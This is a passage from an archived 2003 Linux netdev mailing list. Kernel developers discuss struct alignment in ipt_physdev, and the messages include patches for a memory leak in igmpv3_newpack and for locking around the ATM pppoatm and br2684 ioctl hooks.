15 Sep 2003 23:37:59 -0700 Received: from localhost (localhost.localdomain [127.0.0.1]) by apate.telenet-ops.be (Postfix) with SMTP id 40F4537EDB; Tue, 16 Sep 2003 08:05:08 +0200 (MEST) Received: from 192.168.123.138 (D5762BF3.kabel.telenet.be [213.118.43.243]) by apate.telenet-ops.be (Postfix) with ESMTP id E5B7B37ECB; Tue, 16 Sep 2003 08:05:06 +0200 (MEST) From: Bart De Schuymer To: "David S. Miller" Subject: Re: ipt_physdev.c alignment problems on parisc64 Date: Tue, 16 Sep 2003 08:05:07 +0200 User-Agent: KMail/1.5 Cc: laforge@netfilter.org, acme@conectiva.com.br, netfilter-devel@lists.netfilter.org, netdev@oss.sgi.com References: <200309022116.41697.bdschuym@pandora.be> <200309132159.37834.bdschuym@pandora.be> <20030915155903.12a3f95d.davem@redhat.com> In-Reply-To: <20030915155903.12a3f95d.davem@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200309160805.08171.bdschuym@pandora.be> X-archive-position: 5959 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: bdschuym@pandora.be Precedence: bulk X-list: netdev On Tuesday 16 September 2003 00:59, David S. Miller wrote: > > - char physindev[IFNAMSIZ]; > > + char physindev[IFNAMSIZ] __attribute__ ((aligned (__alignof__(unsigned > > int)))); > > I have to reject the fix for this problem again. > > You can't change the struct exported to userspace in any way > without breaking the tools. I tried to explain this in the > first revision of your change. On Thursday 04 September 2003 05:05, you wrote: As I mentioned in another email, this patch can't be used, it breaks in mixed 32/64 bit environments. I guess I'm a bit on the slow side but I didn't quite read the above text like that. Anyway, this rule about not changing structs exported to userspace truly sucks, IMHO. If someone decides to compile her own kernel this person should not expect every userspace tool to keep working, again IMHO. Adding a new module to the kernel results in the user having to upgrade her tools, recompiling won't even do. Why on earth do you allow adding modules. But I'm sure some nice volunteer will come along and downgrade that code fragment. Bart From joern@wohnheim.fh-wedel.de Tue Sep 16 02:08:45 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 16 Sep 2003 02:08:50 -0700 (PDT) Received: from wohnheim.fh-wedel.de (wohnheim.fh-wedel.de [213.39.233.138]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8G98hYa032498 for ; Tue, 16 Sep 2003 02:08:44 -0700 Received: from joern by wohnheim.fh-wedel.de with local (Exim 3.35 #1 (Debian)) id 19zBoK-0007Se-00; Tue, 16 Sep 2003 11:07:48 +0200 Date: Tue, 16 Sep 2003 11:07:48 +0200 From: =?iso-8859-1?Q?J=F6rn?= Engel To: David Yu Chen Cc: linux-kernel@vger.kernel.org, mc@cs.stanford.edu, davem@redhat.com, netdev@oss.sgi.com Subject: Re: [CHECKER] 32 Memory Leaks on Error Paths Message-ID: <20030916090748.GE27703@wohnheim.fh-wedel.de> References: <200309160435.h8G4ZkQM009953@elaine4.Stanford.EDU> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: <200309160435.h8G4ZkQM009953@elaine4.Stanford.EDU> User-Agent: Mutt/1.3.28i X-archive-position: 5960 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: joern@wohnheim.fh-wedel.de Precedence: bulk X-list: netdev On Mon, 15 September 2003 21:35:46 -0700, David Yu Chen wrote: > > [FILE: 2.6.0-test5/net/ipv4/igmp.c] > [FUNC: igmpv3_newpack] > [LINES: 274-284] > [VAR: skb] > 269: struct sk_buff *skb; > 270: struct rtable *rt; > 271: struct iphdr *pip; > 272: struct igmpv3_report *pig; > 273: > START --> > 274: skb = alloc_skb(size + dev->hard_header_len + 15, GFP_ATOMIC); > 275: if (skb == NULL) > 276: return 0; > 277: > 278: { > 279: struct flowi fl = { .oif = dev->ifindex, > 280: .nl_u = { .ip4_u = { > 281: .daddr = IGMPV3_ALL_MCR } }, > 282: .proto = IPPROTO_IGMP }; > 283: if (ip_route_output_key(&rt, &fl)) > END --> > 284: return 0; > 285: } > 286: if (rt->rt_src == 0) { > 287: ip_rt_put(rt); > 288: return 0; > 289: } Looks valid. And since skb isn't really needed until after these returns, moving four lines down a bit fixes the problem. Davem, is this correct? Jörn -- Data dominates. If you've chosen the right data structures and organized things well, the algorithms will almost always be self-evident. Data structures, not algorithms, are central to programming. -- Rob Pike --- linux-2.6.0-test3/net/ipv4/igmp.c~igmp_memleak 2003-07-15 23:09:02.000000000 +0200 +++ linux-2.6.0-test3/net/ipv4/igmp.c 2003-09-16 10:29:47.000000000 +0200 @@ -70,6 +70,8 @@ * Alexey Kuznetsov: Accordance to igmp-v2-06 draft. * David L Stevens: IGMPv3 support, with help from * Vinay Kulkarni + * Jörn Engel: Fix memleak in igmpv3_newpack, reported + * by David Yu Chen (stanford checker) */ @@ -271,10 +273,6 @@ struct iphdr *pip; struct igmpv3_report *pig; - skb = alloc_skb(size + dev->hard_header_len + 15, GFP_ATOMIC); - if (skb == NULL) - return 0; - { struct flowi fl = { .oif = dev->ifindex, .nl_u = { .ip4_u = { @@ -288,6 +286,10 @@ return 0; } + skb = alloc_skb(size + dev->hard_header_len + 15, GFP_ATOMIC); + if (skb == NULL) + return 0; + skb->dst = &rt->u.dst; skb->dev = dev; From hno@marasystems.com Tue Sep 16 02:19:04 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 16 Sep 2003 02:19:08 -0700 (PDT) Received: from filer.marasystems.com (marasystems.com [213.150.153.194]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8G9J2Ya000628 for ; Tue, 16 Sep 2003 02:19:03 -0700 Received: from henrik.marasystems.com (henrik.marasystems.com [192.168.1.53]) by filer.marasystems.com (8.11.6/8.11.6) with ESMTP id h8G9IY129607; Tue, 16 Sep 2003 11:18:34 +0200 Subject: Re: ipt_physdev.c alignment problems on parisc64 From: Henrik Nordstrom To: "David S. Miller" Cc: Bart De Schuymer , laforge@netfilter.org, acme@conectiva.com.br, netfilter-devel@lists.netfilter.org, netdev@oss.sgi.com In-Reply-To: <20030915230259.79f5a545.davem@redhat.com> References: <200309022116.41697.bdschuym@pandora.be> <200309132159.37834.bdschuym@pandora.be> <20030915155903.12a3f95d.davem@redhat.com> <200309160805.08171.bdschuym@pandora.be> <20030915230259.79f5a545.davem@redhat.com> Content-Type: text/plain Organization: MARA Systems AB Message-Id: <1063703910.5948.85.camel@henrik.marasystems.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 (1.2.2-5) Date: 16 Sep 2003 11:18:34 +0200 Content-Transfer-Encoding: 7bit X-archive-position: 5961 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hno@marasystems.com Precedence: bulk X-list: netdev tis 2003-09-16 klockan 08.02 skrev David S. Miller: > Also, another solution could be to store the object inside the kernel > using a different structure, one where you can guarentee the alignment > of these things properly. unfortunately iptables does not allow such differences between userspace and kernel representation.. -- Henrik Nordstrom MARA Systems AB From Robert.Olsson@data.slu.se Tue Sep 16 02:29:11 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 16 Sep 2003 02:29:14 -0700 (PDT) Received: from robur.slu.se (robur.slu.se [130.238.98.12]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8G9TAYa001254 for ; Tue, 16 Sep 2003 02:29:11 -0700 Received: (from robert@localhost) by robur.slu.se (8.9.3p2/8.9.3) id LAA28796; Tue, 16 Sep 2003 11:28:31 +0200 From: Robert Olsson MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16230.55231.741972.105689@robur.slu.se> Date: Tue, 16 Sep 2003 11:28:31 +0200 To: "David S. Miller" Cc: kuznet@ms2.inr.ac.ru, Robert Olsson , hadi@cyberus.ca, greearb@candelatech.com, jgarzik@pobox.com, scott.feldman@intel.com, netdev@oss.sgi.com, ricardoz@us.ibm.com Subject: Re: [e1000 2.6 10/11] TxDescriptors -> 1024 default In-Reply-To: <20030915161546.6e685195.davem@redhat.com> References: <3F60CA6D.9090503@pobox.com> <3F60D0F3.8080006@candelatech.com> <20030911131219.0ab8dfdd.davem@redhat.com> <3F60DDCC.5020906@candelatech.com> <20030911140746.4f0384a1.davem@redhat.com> <3F60E947.4090005@candelatech.com> <20030911142906.74d9dfe5.davem@redhat.com> <3F60F3F7.6090203@candelatech.com> <20030911160252.6cd6c07d.davem@redhat.com> <3F6103BB.5030706@candelatech.com> <1063330463.1028.8.camel@jzny.localdomain> <20030912204947.5267e3aa.davem@redhat.com> <16227.1284.893748.365713@robur.slu.se> <1063627928.1075.66.camel@jzny.localdomain> <16229.49798.506152.832140@robur.slu.se> <20030915161546.6e685195.davem@redhat.com> X-Mailer: VM 6.92 under Emacs 19.34.1 X-archive-position: 5962 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: Robert.Olsson@data.slu.se Precedence: bulk X-list: netdev David S. Miller writes: > > > http://www.cyberus.ca/~hadi/patches/restore.pfifo.kernel > > > and for tc at: > > > http://www.cyberus.ca/~hadi/patches/restore.pfifo.tc > > I've included Jamal's pfifo_fast statistic patch, and the > change to increase ethernet's tx_queue_len to 1000 in all > of my trees. Thanks. We ask Alexey to include the tc part too. Cheers. --ro From chas@cmf.nrl.navy.mil Tue Sep 16 04:00:08 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 16 Sep 2003 04:00:13 -0700 (PDT) Received: from ginger.cmf.nrl.navy.mil (ginger.cmf.nrl.navy.mil [134.207.10.161]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8GB02Ya005465 for ; Tue, 16 Sep 2003 04:00:08 -0700 Received: from cmf.nrl.navy.mil (thirdoffive.cmf.nrl.navy.mil [134.207.10.180]) by ginger.cmf.nrl.navy.mil (8.12.7/8.12.7) with ESMTP id h8GAxtSa012211; Tue, 16 Sep 2003 06:59:56 -0400 (EDT) Message-Id: <200309161059.h8GAxtSa012211@ginger.cmf.nrl.navy.mil> To: Mitchell Blank Jr cc: "David S. Miller" , romieu@fr.zoreil.com, netdev@oss.sgi.com Subject: Re: [PATCH][ATM]: [clip] fix race between modifying entry->vccs and clip_start_xmit() In-Reply-To: Message from Mitchell Blank Jr of "Mon, 15 Sep 2003 15:30:48 PDT." <20030915223048.GD92642@gaz.sfgoth.com> Date: Tue, 16 Sep 2003 06:59:56 -0400 From: chas williams X-Spam-Score: () hits=-6.8 X-Virus-Scanned: NAI Completed X-Scanned-By: MIMEDefang 2.30 (www . roaringpenguin . com / mimedefang) X-archive-position: 5963 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: chas@cmf.nrl.navy.mil Precedence: bulk X-list: netdev In message <20030915223048.GD92642@gaz.sfgoth.com>,Mitchell Blank Jr writes: >That should be the case at least for any VCC on a real interface[*]. >... >[*] some protocols use psuedo-interfaces for their control connections - in > theory I guess they could be different but I don't believe there are > any cases where they are. They wouldn't affect this issue anyways though. afaict all vcc's are open/closed from user space including any control vccs (often labelled ATM_VF_META). this is a bit of a sore point with some people who want to open atm sockets in the kernel. if i remember correctly the atm api explicitly states that you can sleep in atm_dev->close() so it must be a user context. From chas@cmf.nrl.navy.mil Tue Sep 16 05:03:16 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 16 Sep 2003 05:03:20 -0700 (PDT) Received: from ginger.cmf.nrl.navy.mil (ginger.cmf.nrl.navy.mil [134.207.10.161]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8GC37Ya010817 for ; Tue, 16 Sep 2003 05:03:16 -0700 Received: from cmf.nrl.navy.mil (thirdoffive.cmf.nrl.navy.mil [134.207.10.180]) by ginger.cmf.nrl.navy.mil (8.12.7/8.12.7) with ESMTP id h8GC32Sa012616; Tue, 16 Sep 2003 08:03:02 -0400 (EDT) Message-Id: <200309161203.h8GC32Sa012616@ginger.cmf.nrl.navy.mil> To: davem@redhat.com cc: netdev@oss.sgi.com Subject: [PATCH][2.4][ATM] implement pppoatm_ioctl_hook for pppoatm Reply-To: chas3@users.sourceforge.net Date: Tue, 16 Sep 2003 08:03:03 -0400 From: chas williams X-Spam-Score: () hits=0.5 X-Virus-Scanned: NAI Completed X-Scanned-By: MIMEDefang 2.30 (www . roaringpenguin . com / mimedefang) X-archive-position: 5965 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: chas@cmf.nrl.navy.mil Precedence: bulk X-list: netdev # This is a BitKeeper generated patch for the following project: # Project Name: Linux kernel tree # This patch format is intended for GNU patch command version 2.5 or higher. # This patch includes the following deltas: # ChangeSet 1.1132 -> 1.1133 # net/atm/pppoatm.c 1.5 -> 1.6 # net/atm/common.h 1.3 -> 1.4 # net/atm/common.c 1.19 -> 1.20 # # The following is the BitKeeper ChangeSet Log # -------------------------------------------- # 03/09/14 chas@relax.cmf.nrl.navy.mil 1.1133 # pppoatm.c, common.h, common.c: # [ATM]: implement pppoatm_ioctl_hook for pppoatm # -------------------------------------------- # diff -Nru a/net/atm/common.c b/net/atm/common.c --- a/net/atm/common.c Mon Sep 15 16:17:19 2003 +++ b/net/atm/common.c Mon Sep 15 16:17:19 2003 @@ -130,8 +130,19 @@ #endif #if defined(CONFIG_PPPOATM) || defined(CONFIG_PPPOATM_MODULE) -int (*pppoatm_ioctl_hook)(struct atm_vcc *, unsigned int, unsigned long); -EXPORT_SYMBOL(pppoatm_ioctl_hook); +static DECLARE_MUTEX(pppoatm_ioctl_mutex); + +static int (*pppoatm_ioctl_hook)(struct atm_vcc *, unsigned int, unsigned long); + +void pppoatm_ioctl_set(int (*hook)(struct atm_vcc *, unsigned int, unsigned long)) +{ + down(&pppoatm_ioctl_mutex); + pppoatm_ioctl_hook = hook; + up(&pppoatm_ioctl_mutex); +} +#ifdef CONFIG_PPPOATM_MODULE +EXPORT_SYMBOL(pppoatm_ioctl_set); +#endif #endif #if defined(CONFIG_ATM_BR2684) || defined(CONFIG_ATM_BR2684_MODULE) @@ -816,12 +827,14 @@ default: break; } + error = -ENOIOCTLCMD; #if defined(CONFIG_PPPOATM) || defined(CONFIG_PPPOATM_MODULE) - if (pppoatm_ioctl_hook) { + down(&pppoatm_ioctl_mutex); + if (pppoatm_ioctl_hook) error = pppoatm_ioctl_hook(vcc, cmd, arg); - if (error != -ENOIOCTLCMD) - goto done; - } + up(&pppoatm_ioctl_mutex); + if (error != -ENOIOCTLCMD) + goto done; #endif #if defined(CONFIG_ATM_BR2684) || defined(CONFIG_ATM_BR2684_MODULE) if (br2684_ioctl_hook) { diff -Nru a/net/atm/common.h b/net/atm/common.h --- a/net/atm/common.h Mon Sep 15 16:17:19 2003 +++ b/net/atm/common.h Mon Sep 15 16:17:19 2003 @@ -28,6 +28,8 @@ void atm_release_vcc_sk(struct sock *sk,int free_sk); void atm_shutdown_dev(struct atm_dev *dev); +void pppoatm_ioctl_set(int (*hook)(struct atm_vcc *, unsigned int, unsigned long)); + int atmpvc_init(void); void atmpvc_exit(void); int atmsvc_init(void); diff -Nru a/net/atm/pppoatm.c b/net/atm/pppoatm.c --- a/net/atm/pppoatm.c Mon Sep 15 16:17:19 2003 +++ b/net/atm/pppoatm.c Mon Sep 15 16:17:19 2003 @@ -44,6 +44,8 @@ #include #include +#include "common.h" + #if 0 #define DPRINTK(format, args...) \ printk(KERN_DEBUG "pppoatm: " format, ##args) @@ -344,17 +346,15 @@ /* the following avoids some spurious warnings from the compiler */ #define UNUSED __attribute__((unused)) -extern int (*pppoatm_ioctl_hook)(struct atm_vcc *, unsigned int, unsigned long); - static int __init UNUSED pppoatm_init(void) { - pppoatm_ioctl_hook = pppoatm_ioctl; + pppoatm_ioctl_set(pppoatm_ioctl); return 0; } static void __exit UNUSED pppoatm_exit(void) { - pppoatm_ioctl_hook = NULL; + pppoatm_ioctl_set(NULL); } module_init(pppoatm_init); From chas@cmf.nrl.navy.mil Tue Sep 16 05:02:36 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 16 Sep 2003 05:02:44 -0700 (PDT) Received: from ginger.cmf.nrl.navy.mil (ginger.cmf.nrl.navy.mil [134.207.10.161]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8GC2FYa010716 for ; Tue, 16 Sep 2003 05:02:36 -0700 Received: from cmf.nrl.navy.mil (thirdoffive.cmf.nrl.navy.mil [134.207.10.180]) by ginger.cmf.nrl.navy.mil (8.12.7/8.12.7) with ESMTP id h8GC2ASa012603; Tue, 16 Sep 2003 08:02:10 -0400 (EDT) Message-Id: <200309161202.h8GC2ASa012603@ginger.cmf.nrl.navy.mil> To: davem@redhat.com cc: netdev@oss.sgi.com Subject: [PATCH][2.4][ATM] cleanup atm_dev_ioctl a bit (from mitch@sfgoth.com) Reply-To: chas3@users.sourceforge.net Date: Tue, 16 Sep 2003 08:02:11 -0400 From: chas williams X-Spam-Score: () hits=0.5 X-Virus-Scanned: NAI Completed X-Scanned-By: MIMEDefang 2.30 (www . roaringpenguin . com / mimedefang) X-archive-position: 5964 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: chas@cmf.nrl.navy.mil Precedence: bulk X-list: netdev # This is a BitKeeper generated patch for the following project: # Project Name: Linux kernel tree # This patch format is intended for GNU patch command version 2.5 or higher. # This patch includes the following deltas: # ChangeSet 1.1131 -> 1.1132 # net/atm/resources.c 1.7 -> 1.8 # # The following is the BitKeeper ChangeSet Log # -------------------------------------------- # 03/09/14 chas@relax.cmf.nrl.navy.mil 1.1132 # resources.c: # [ATM]: cleanup atm_dev_ioctl a bit (from mitch@sfgoth.com) # -------------------------------------------- # diff -Nru a/net/atm/resources.c b/net/atm/resources.c --- a/net/atm/resources.c Mon Sep 15 16:17:02 2003 +++ b/net/atm/resources.c Mon Sep 15 16:17:02 2003 @@ -214,42 +214,42 @@ int atm_dev_ioctl(unsigned int cmd, unsigned long arg) { void *buf; - int error, len, number, size = 0; + int error = 0, len, number, size = 0; struct atm_dev *dev; - struct list_head *p; - int *tmp_buf, *tmp_p; - switch (cmd) { - case ATM_GETNAMES: - if (get_user(buf, &((struct atm_iobuf *) arg)->buffer)) - return -EFAULT; - if (get_user(len, &((struct atm_iobuf *) arg)->length)) - return -EFAULT; - spin_lock(&atm_dev_lock); - list_for_each(p, &atm_devs) - size += sizeof(int); - if (size > len) { - spin_unlock(&atm_dev_lock); - return -E2BIG; - } - tmp_buf = kmalloc(size, GFP_ATOMIC); - if (!tmp_buf) { - spin_unlock(&atm_dev_lock); - return -ENOMEM; - } - tmp_p = tmp_buf; - list_for_each(p, &atm_devs) { - dev = list_entry(p, struct atm_dev, dev_list); - *tmp_p++ = dev->number; - } + if (cmd == ATM_GETNAMES) { + int *tmp_buf, *tmp_bufp; + struct list_head *p; + /* + * ATM_GETNAMES is a special case: it doesn't require a + * device number argument + */ + if (get_user(buf, &((struct atm_iobuf *) arg)->buffer)) + return -EFAULT; + if (get_user(len, &((struct atm_iobuf *) arg)->length)) + return -EFAULT; + spin_lock(&atm_dev_lock); + list_for_each(p, &atm_devs) + size += sizeof(int); + if (size > len) { spin_unlock(&atm_dev_lock); - error = ((copy_to_user(buf, tmp_buf, size)) || - put_user(size, &((struct atm_iobuf *) arg)->length)) - ? -EFAULT : 0; - kfree(tmp_buf); - return error; - default: - break; + return -E2BIG; + } + tmp_buf = tmp_bufp = kmalloc(size, GFP_ATOMIC); + if (!tmp_buf) { + spin_unlock(&atm_dev_lock); + return -ENOMEM; + } + list_for_each(p, &atm_devs) { + dev = list_entry(p, struct atm_dev, dev_list); + *tmp_bufp++ = dev->number; + } + spin_unlock(&atm_dev_lock); + error = (copy_to_user(buf, tmp_buf, size) || + put_user(size, &((struct atm_iobuf *) arg)->length)) + ? -EFAULT : 0; + kfree(tmp_buf); + return error; } if (get_user(buf, &((struct atmif_sioc *) arg)->arg)) @@ -361,11 +361,8 @@ if (error < 0) goto done; size = error; - /* may return 0, but later on size == 0 means "don't - write the length" */ - error = put_user(size, &((struct atmif_sioc *) arg)->length) - ? -EFAULT : 0; - goto done; + /* write back size even if it's zero */ + goto write_size; case ATM_SETLOOP: if (__ATM_LM_XTRMT((int) (long) buf) && __ATM_LM_XTLOC((int) (long) buf) > @@ -396,11 +393,12 @@ } } - if (size) - error = put_user(size, &((struct atmif_sioc *) arg)->length) - ? -EFAULT : 0; - else - error = 0; + if (size) { +write_size: + error = put_user(size, + &((struct atmif_sioc *) arg)->length) + ? -EFAULT : 0; + } done: atm_dev_release(dev); return error; From chas@cmf.nrl.navy.mil Tue Sep 16 05:04:39 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 16 Sep 2003 05:04:42 -0700 (PDT) Received: from ginger.cmf.nrl.navy.mil (ginger.cmf.nrl.navy.mil [134.207.10.161]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8GC4IYa011289 for ; Tue, 16 Sep 2003 05:04:38 -0700 Received: from cmf.nrl.navy.mil (thirdoffive.cmf.nrl.navy.mil [134.207.10.180]) by ginger.cmf.nrl.navy.mil (8.12.7/8.12.7) with ESMTP id h8GC4CSa012637; Tue, 16 Sep 2003 08:04:12 -0400 (EDT) Message-Id: <200309161204.h8GC4CSa012637@ginger.cmf.nrl.navy.mil> To: davem@redhat.com cc: netdev@oss.sgi.com Subject: [PATCH][2.4][ATM] implement br2684_ioctl_hook for br2684 Reply-To: chas3@users.sourceforge.net Date: Tue, 16 Sep 2003 08:04:13 -0400 From: chas williams X-Spam-Score: () hits=0.5 X-Virus-Scanned: NAI Completed X-Scanned-By: MIMEDefang 2.30 (www . roaringpenguin . com / mimedefang) X-archive-position: 5966 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: chas@cmf.nrl.navy.mil Precedence: bulk X-list: netdev # This is a BitKeeper generated patch for the following project: # Project Name: Linux kernel tree # This patch format is intended for GNU patch command version 2.5 or higher. # This patch includes the following deltas: # ChangeSet 1.1133 -> 1.1134 # net/atm/common.h 1.4 -> 1.5 # net/atm/common.c 1.20 -> 1.21 # net/atm/br2684.c 1.4 -> 1.5 # # The following is the BitKeeper ChangeSet Log # -------------------------------------------- # 03/09/14 chas@relax.cmf.nrl.navy.mil 1.1134 # [ATM]: implement br2684_ioctl_hook for br2684 # -------------------------------------------- # diff -Nru a/net/atm/br2684.c b/net/atm/br2684.c --- a/net/atm/br2684.c Mon Sep 15 16:17:30 2003 +++ b/net/atm/br2684.c Mon Sep 15 16:17:30 2003 @@ -16,9 +16,12 @@ #include #include #include +#include +#include #include +#include "common.h" #include "ipcommon.h" /* @@ -768,8 +771,6 @@ extern struct proc_dir_entry *atm_proc_root; /* from proc.c */ -extern int (*br2684_ioctl_hook)(struct atm_vcc *, unsigned int, unsigned long); - /* the following avoids some spurious warnings from the compiler */ #define UNUSED __attribute__((unused)) @@ -779,14 +780,14 @@ if ((p = create_proc_entry("br2684", 0, atm_proc_root)) == NULL) return -ENOMEM; p->proc_fops = &br2684_proc_operations; - br2684_ioctl_hook = br2684_ioctl; + br2684_ioctl_set(br2684_ioctl); return 0; } static void __exit UNUSED br2684_exit(void) { struct br2684_dev *brdev; - br2684_ioctl_hook = NULL; + br2684_ioctl_set(NULL); remove_proc_entry("br2684", atm_proc_root); while (!list_empty(&br2684_devs)) { brdev = list_entry_brdev(br2684_devs.next); diff -Nru a/net/atm/common.c b/net/atm/common.c --- a/net/atm/common.c Mon Sep 15 16:17:30 2003 +++ b/net/atm/common.c Mon Sep 15 16:17:30 2003 @@ -146,10 +146,19 @@ #endif #if defined(CONFIG_ATM_BR2684) || defined(CONFIG_ATM_BR2684_MODULE) -int (*br2684_ioctl_hook)(struct atm_vcc *, unsigned int, unsigned long); -#endif +static DECLARE_MUTEX(br2684_ioctl_mutex); + +static int (*br2684_ioctl_hook)(struct atm_vcc *, unsigned int, unsigned long); + +void br2684_ioctl_set(int (*hook)(struct atm_vcc *, unsigned int, unsigned long)) +{ + down(&br2684_ioctl_mutex); + br2684_ioctl_hook = hook; + up(&br2684_ioctl_mutex); +} #ifdef CONFIG_ATM_BR2684_MODULE -EXPORT_SYMBOL(br2684_ioctl_hook); +EXPORT_SYMBOL(br2684_ioctl_set); +#endif #endif #include "resources.h" /* atm_find_dev */ @@ -837,11 +846,12 @@ goto done; #endif #if defined(CONFIG_ATM_BR2684) || defined(CONFIG_ATM_BR2684_MODULE) - if (br2684_ioctl_hook) { + down(&br2684_ioctl_mutex); + if (br2684_ioctl_hook) error = br2684_ioctl_hook(vcc, cmd, arg); - if (error != -ENOIOCTLCMD) - goto done; - } + up(&br2684_ioctl_mutex); + if (error != -ENOIOCTLCMD) + goto done; #endif error = atm_dev_ioctl(cmd, arg); diff -Nru a/net/atm/common.h b/net/atm/common.h --- a/net/atm/common.h Mon Sep 15 16:17:30 2003 +++ b/net/atm/common.h Mon Sep 15 16:17:30 2003 @@ -29,6 +29,7 @@ void atm_shutdown_dev(struct atm_dev *dev); void pppoatm_ioctl_set(int (*hook)(struct atm_vcc *, unsigned int, unsigned long)); +void br2684_ioctl_set(int (*hook)(struct atm_vcc *, unsigned int, unsigned long)); int atmpvc_init(void); void atmpvc_exit(void); From shmulik.hen@intel.com Tue Sep 16 06:32:20 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 16 Sep 2003 06:32:31 -0700 (PDT) Received: from caduceus.fm.intel.com (fmr02.intel.com [192.55.52.25]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8GDVxYa015752 for ; Tue, 16 Sep 2003 06:32:19 -0700 Received: from petasus.fm.intel.com (petasus.fm.intel.com [10.1.192.37]) by caduceus.fm.intel.com (8.12.9/8.12.9/d: outer.mc,v 1.66 2003/05/22 21:17:36 rfjohns1 Exp $) with ESMTP id h8GDW0im029601 for ; Tue, 16 Sep 2003 13:32:00 GMT Received: from fmsmsxvs041.fm.intel.com (fmsmsxvs041.fm.intel.com [132.233.42.126]) by petasus.fm.intel.com (8.11.6p2/8.11.6/d: inner.mc,v 1.35 2003/05/22 21:18:01 rfjohns1 Exp $) with SMTP id h8GDO0r06031 for ; Tue, 16 Sep 2003 13:24:00 GMT Received: from jrslxjul4.npdj.intel.com ([10.12.254.188]) by fmsmsxvs041.fm.intel.com (NAVGW 2.5.2.11) with SMTP id M2003091606314902664 ; Tue, 16 Sep 2003 06:31:51 -0700 Content-Type: text/plain; charset="iso-8859-1" From: Shmulik Hen Reply-To: shmulik.hen@intel.com Organization: Intel corp. To: "Jay Vosburgh" , "David S. Miller" Subject: Re: Fw: [Kernel-janitors] old ioctl definitions in 2.5 Date: Tue, 16 Sep 2003 16:31:48 +0300 User-Agent: KMail/1.4.3 Cc: , , References: In-Reply-To: MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: <200309161631.48653.shmulik.hen@intel.com> X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) X-archive-position: 5967 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shmulik.hen@intel.com Precedence: bulk X-list: netdev On Tuesday 16 September 2003 04:11 am, Jay Vosburgh wrote: > >On Mon, 15 Sep 2003 16:57:26 -0700 > > > >Jay Vosburgh wrote: > >> My only concern is a matter of timing; we're right at the > >> end of synchronizing the 2.4 and 2.6 bonding sources. Once > >> that's settled (hopefully in a few days, the last patch set for > >> 2.4 came in this morning), then removing them from that header > >> and the bonding code should be fine. > > > >No problem. Just push the change to Jeff then after you're > >done merging stuff around, ok? > > Will do. I'm on the verge of finishing my cleanup set re-do. Now that Amir sent all the synching stuff, I could put that one in as well, and it would fit on both 2.4 and 2.6. -- | Shmulik Hen Advanced Network Services | | Israel Design Center, Jerusalem | | LAN Access Division, Platform Networking | | Intel Communications Group, Intel corp. | From laforge@netfilter.org Tue Sep 16 07:13:29 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 16 Sep 2003 07:13:40 -0700 (PDT) Received: from coruscant.gnumonks.org (mail@coruscant.franken.de [193.174.159.226]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8GEDPYa022266 for ; Tue, 16 Sep 2003 07:13:28 -0700 Received: from uucp by coruscant.gnumonks.org with local-bsmtp (Exim 4.22) id 19zGa4-0007LQ-QW for netdev@oss.sgi.com; Tue, 16 Sep 2003 16:13:24 +0200 Received: from laforge by obroa-skai.gnumonks.org with local (Exim 3.36 #1) id 19zGW6-0000FN-00; Tue, 16 Sep 2003 16:09:18 +0200 Date: Tue, 16 Sep 2003 16:09:18 +0200 From: Harald Welte To: Henrik Nordstrom Cc: "David S. Miller" , Bart De Schuymer , acme@conectiva.com.br, netfilter-devel@lists.netfilter.org, netdev@oss.sgi.com Subject: Re: ipt_physdev.c alignment problems on parisc64 Message-ID: <20030916140918.GF810@obroa-skai.de.gnumonks.org> Mail-Followup-To: Harald Welte , Henrik Nordstrom , "David S. Miller" , Bart De Schuymer , acme@conectiva.com.br, netfilter-devel@lists.netfilter.org, netdev@oss.sgi.com References: <200309022116.41697.bdschuym@pandora.be> <200309132159.37834.bdschuym@pandora.be> <20030915155903.12a3f95d.davem@redhat.com> <200309160805.08171.bdschuym@pandora.be> <20030915230259.79f5a545.davem@redhat.com> 